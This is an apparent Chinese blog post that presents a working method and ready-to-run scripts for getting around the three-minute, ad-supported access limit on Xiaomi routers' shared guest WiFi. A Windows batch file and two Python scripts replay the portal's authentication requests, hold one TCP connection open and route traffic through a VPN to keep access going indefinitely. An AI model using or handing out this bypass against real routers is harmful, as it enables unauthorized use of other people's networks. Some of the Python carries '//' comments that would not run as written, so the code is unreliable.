因为购买小米路由器后,小米共享wifi是默认开启的,很多人不会设置路由器导致没有将小米共享wifi关闭,所以就会存在一些的漏洞安全问题。针对小米共享wifi的认证系统进行了抓包分析,并根据认证方式寻找到绕过方法,使得可以达到无限上网的目的。因为小米共享wifi存在看广告3分钟体验上网的模式,但这个模式在一小时内只能使用5次,而实践发现如果在这三分钟内一直保持一个tcp连接,那么这个网络就不会断开。那么又存在了一个问题,虽然网络不会断开,但是会让只有这个TCP连接有效,而其他的连接照样会断开。故连接一个VPN便能解决这个问题。只需要连接了VPN后再保持一个TCP连接,那么VPN的连接也会保持。由此得出如下脚本,这个脚本可以自动连接共享wifi并认证,也具有断线自动重连的功能。

@echo off
:restart
rasdial /disconnect               //断开现有VPN连接
netsh wlan disconnect                //断开现有WLAN连接
ping 127.0.0.1 -n 2 >nul                //延时1秒
netsh wlan connect name="WIFI"                //连接无限网络名为WIFI
ping 127.0.0.1 -n 10 >nul                //延时9秒让网络进行初始化
python link.py                //python脚本写的认证程序
ping 127.0.0.1 -n 2 >nul                //延时1秒
rasdial vpn名 用户名 密码                //连接VPN
python keep.py                // python脚本写的创建TCP长连接
goto restart                //自动断线重连

link.py

# coding=utf-8
import requests
import time
import datetime

print("正在启动认证程序")
response0 = requests.get("http://guest.miwifi.com:8999/cgi-bin/luci/api/misns/sns_init")
deviceid=response0.text[26:62]      //获取参数deviceid
clientinfo=response0.text[78:142]      //获取参数clientinfo
times=(int(round(time.time() * 1000))-2000)     //获取当前UNIX时间戳
url1="http://api.miwifi.com/guest_wifi/portal_config?callback=jQuery210032440425060714295_"+str(times)+"&did="+deviceid+"&client_info="+clientinfo+"&_="+str(times+2)
//发送认证包1
url3="http://api.miwifi.com/wifirent/api/ad_apply_rent?callback=jsonpCallback&router_id="+deviceid+"&client_info="+clientinfo+"&_="+str(times+8)
//发送认证包2
response1 = requests.get(url1)
response3 = requests.get(url3)
code=response3.text.find("0")
//如果返回Code为0则认证成功
if code >= 0:
    print("认证成功,等待连接VPN")
else:
    print("失败,请重启连接程序")
keep.py

import requests
import time

client=requests.session()  //创建TCP长连接
print("正在保持连接!请勿关闭")
headers = {'Content-Type': 'application/json', 'Connection': 'keep-alive'}
while 1:
    url="http://www.baidu.com"
    r=client.get(url,headers=headers)  //发送TCP包
    if r.status_code == 200: 
        print ("当前时间为:"+time.strftime("%H:%M:%S", time.localtime())) //如果返回值为200则打印当前时间       
    time.sleep(1)  //每秒发送一个包

这样就写出了一个会一键自动连接小米共享wifi,并且会断线重连的脚本了

最后修改:2020 年 06 月 16 日 02 : 49 PM
如果你觉得有用,欢迎赞赏